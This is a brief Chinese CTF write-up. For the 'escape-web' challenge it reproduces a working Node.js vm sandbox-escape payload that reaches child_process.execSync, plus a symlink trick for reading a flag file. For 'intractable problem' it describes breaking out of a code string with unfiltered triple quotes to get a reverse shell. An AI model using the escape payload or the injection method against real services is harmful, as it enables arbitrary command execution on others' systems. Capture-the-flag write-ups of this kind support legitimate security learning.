escape-web
根据报错知道是vm逃逸,直接搜payload
Object.defineProperty(Promise, Symbol.hasInstance, {value: ()=>false});
async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}
p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls >&2'); }
            )
        }
    }
};
p.then();但是flag在容器外,不知道怎么逃逸。
看了wp说是ln -s /flag /app/output.txt,可能是把主机的什么文件映射到Docker里,所以可以软链接读取。不懂
intractable problem
非预期

主要是因为拼接code的时候没有过滤''',所以我们就能通过'''来逃出code
我们用两个'''来进行闭合,相当于在code赋值之后多加了我们的payload语句。
成功反弹。